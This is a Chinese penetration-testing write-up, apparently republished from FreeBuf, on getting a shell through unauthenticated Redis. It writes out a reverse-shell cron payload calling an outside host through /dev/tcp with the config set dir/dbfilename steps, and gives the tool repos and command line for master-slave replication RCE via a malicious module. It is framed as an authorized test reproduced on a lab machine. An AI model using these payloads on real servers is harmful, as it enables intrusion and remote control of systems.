redis 远程主机强迫关闭了一个现有的连接_记一次Redis+Getshell经验分享
你是我患得患失的梦,我是你可有可无的人,毕竟这穿越山河的箭,刺的都是用情之疾的人。
前言:
当我们接到一个授权渗透测试的时候,常规漏洞如注入、文件上传等尝试无果后,扫描端口可能会发现意外收获。
知己知彼乃百战不殆,Redis介绍:
简单来说 redis 就是一个Key-Value类型的数据库, redis 所有数据全部在内存中进行操作,并且它可以将内存中的数据定期存储在磁盘中,并且支持保存多种数据结构(String、hash、list等)。
运筹帷幄之中,Redis漏洞:
1、未授权访问漏洞
Redis在默认情况下,会绑定在0.0.0.0:6379,如果没有采用限制IP访问,就会将Redis服务暴露在公网上,并且在没有设置密码认证的情况下,会导致任意用户未授权访问Redis以及读取Redis数据并写入公钥进行远程连接等。
当拿到数据库权限是不会满足我们的,我们的目标只有一个getshell!
目前较主流的两个方法,第一种定时计划反弹shell、第二种利用主从复制rce。
2、定时计划反弹shell
1)set x “\n * bash -i >& /dev/tcp/1.1.1.1/888 0>&1\n”
2)config set dir /var/spool/cron/
3)config set dbfilename root
4)save
3、利用主从复制rce
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
需要利用一个工具,GitHub下载即可。
1)git clone
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需要make)
2)git clone
https://github.com/Ridter/redis-rce.git
进而通过未授权访问或者弱口令连接redis,执行脚本即可获取shell。
决胜千里之外,实战演练:
本次扫到了6379也就是Redis,有的时候可能或改默认端口,建议全端口扫描,本次利用主从复制rce获取shell(由于该漏洞已提交src,签约保密协议,故搭建靶机还原真实环境,保证原汁原味。)
攻击端ip:192.168.109.134
服务端ip:192.168.109.136
通过未授权访问连接redis(如果有密码,可以尝试爆破,authpassword 登陆系统):Redis-cli –h ip
利用主从复制rce获取shell
首先要生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。
攻击端执行:
python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so
成功获取shell
总结:
其实最难得还是需要细心,日常有授权测试的时候不要轻易放过任何数据包,以及一些js文件,它通常会给你带来很多意外的惊喜。执着是好事,但是不能太钻牛角尖,如果一个方面实在行不通的话,可以换条路走,毕竟条条大路最终都是通罗马的。
*本文作者:ch8411,转载请注明来自FreeBuf.COM
精彩推荐
redis 远程主机强迫关闭了一个现有的连接_记一次Redis+Getshell经验分享相关推荐
- redis 远程主机强迫关闭了一个现有的连接_如何在 Debian 10 上安装和配置 Redis 服务...
Redis是一个开放源代码的内存中键值数据存储.它可以用作数据库,缓存和消息代理,并支持各种数据结构,例如字符串,哈希,列表,集合等.Redis通过Redis Sentinel提供高可用性,并通过Re ...
- sonar7.9 远程主机强迫关闭了一个现有的连接_双回路远程外力液压制动系统分析与研究...
[摘要]本文利用AMESim软件建立了双回路远程液压制动系统两个重要部件仿真模型,分析了蓄能器充液阀的压力补偿器弹簧力对其P口压力影响和其压力调节元件左右不同面积比对蓄能器接通压力的影响,分析了双回路 ...
- netty 远程主机强迫关闭了一个现有的连接_死磕netty系列《一、netty基础概念》...
1. Channel Channel代表了netty对网络连接的抽象,Channel是线程安全的,它提供了一些重要信息,比如当前网络连接的状态,远程的主机连接地址和本地的连接地址, 我们可以通过 Ch ...
- 关于Redis出现“java.io.IOException: 远程主机强迫关闭了一个现有的连接”的一次排查
背景 最近在使用springboot(Windows下)连接redis(云服务器)开发时发现一些问题:连接成功的情况下,在一段时间未交互数据后,再次通过连接与Redis传输数据回出现异常java.io ...
- SpringBoot整合Redis:java.io.IOException: 远程主机强迫关闭了一个现有的连接。或者控制台报连接超时异常
场景: 项目启动过后 Redis 连接过一会就会断开,报如下问题: 问题1: 2022-12-05 23:05:18.287 ERROR 10752 --- [sson-netty-1-11] o.r ...
- java.io.IOException: 远程主机强迫关闭了一个现有的连接。
参考文档: (2条消息) 解决redis中java.io.IOException: 远程主机强迫关闭了一个现有的连接_zeal9s的博客-CSDN博客_redis远程主机强迫关闭了一个现有连接怎么解决 ...
- mysql远程主机强迫关闭了一个现有连接_asp.net连接mysql出现了远程主机强迫关闭了一个现有的连接。!!!...
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 [SocketException (0x2746): 远程主机强迫关闭了一个现有的连接.] System.Net.Sockets.Socket.Recei ...
- python 网络编程 socket 报错 ConnectionResetError: [WinError 10054] 远程主机强迫关闭了一个现有的连接。
服务端: # -*- coding: utf-8 -*- """ @File : 191226_基于UDP协议的socket_server端.py @Time : 201 ...
- Adb connection Error:远程主机强迫关闭了一个现有的连接
[2013-07-19 09:32:07 - DeviceMonitor] Adb connection Error:远程主机强迫关闭了一个现有的连接. [2013-07-19 09:32:08 - ...
最新文章
- UI设计培训完之后可以去哪些公司工作
- Base64加密解密算法的C/C++代码实现
- java 最长回文串_通俗易懂的最长回文串图解、说明及Java代码(中心扩散法和Manacher算法)...
- 结合领域驱动设计的SOA分布式软件架构
- eclipse报错资料备份
- React Native实现NbaApp
- python strip和split_python strip() 函数和 split() 函数的详解及实例
- 查看windows系统信息
- java中src_java中garadle工程没有src问题
- 云南建投安二司的数字化创新之路:建筑行业里的样本力量
- 星环科技TDH8.0使用必读2: 10种数据模型全支持 未来属于多模型大数据平台
- 数据结构名词解释详细总结
- windows默认打开计算机,[Answers 分享]如何在Windows 7中还原.dll文件的默认打开方式...
- 信息系统项目管理师核心考点(五十四)配置项分类、状态与版本
- CSS入门二、美化页面元素
- 数据结构基本英语词汇
- 外贸网站如何合理搭配色彩——摘自外贸宝-外贸网站建设
- Linux 磁盘坏块修复处理(错误:read error: Input/output error)
- UCLA计算机科学硕士项目,UC加州大学各分校哪些专业特别牛?
- GitHub 标星 167k!你要的优质书籍这都有,还开源!
热门文章
- JAVA牛客专项练习2020.12.31
- Android Glide图片加载框架(二)源码解析之load()
- 一个简单JavaAgent的实现
- H.264中的I_PCM模式
- node、npm、vue安装 -- VUE 项目 demo 实例
- git 报错:was cached in the local repository, resolution will not be reattempted until the upda
- QC使用流程(1)之安装篇
- c#中的常用ToString()方法总结。
- DataGrid 完全攻略之四 (实现统计)
- Spring WebFlux 响应式编程学习笔记(一)